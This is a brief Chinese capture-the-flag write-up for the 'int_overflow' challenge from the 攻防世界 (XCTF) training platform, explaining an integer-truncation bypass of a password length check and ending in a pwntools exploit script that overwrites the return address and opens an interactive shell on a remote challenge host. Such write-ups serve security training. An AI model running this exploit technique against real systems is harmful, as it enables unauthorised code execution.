攻防世界(5):int_overflow
查壳
ida分析(注意是32位的),找到目标地址0x0804868B
既然题目叫做整型溢出,我们来看看哪里可以溢出
这里我们需要利用&dest覆盖到ebp来达到重定位到上面whatisthis的目的,就必须使程序绕过if的限制条件,观察到strlen赋值的是一个unsigned_int8的数,读取完255位后又会从头读取,而read的长度是明显大于255的,所以我们就只需要溢出到259~263位即可
计算偏移值
dist是十六进制的14,而覆盖ebp还需要4个字节,编写exp
.ljust的用法:Python ljust()方法
from pwn import *
p=remote('111.200.241.244', 43675)
sys_addr=0x0804868B
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:\n")
p.sendline("aaa")
p.recvuntil("Please input your passwd:\n")
payload='a'*24+p32(sys_addr)
payload=payload.ljust(260,'a')
p.sendline(payload)
p.interactive()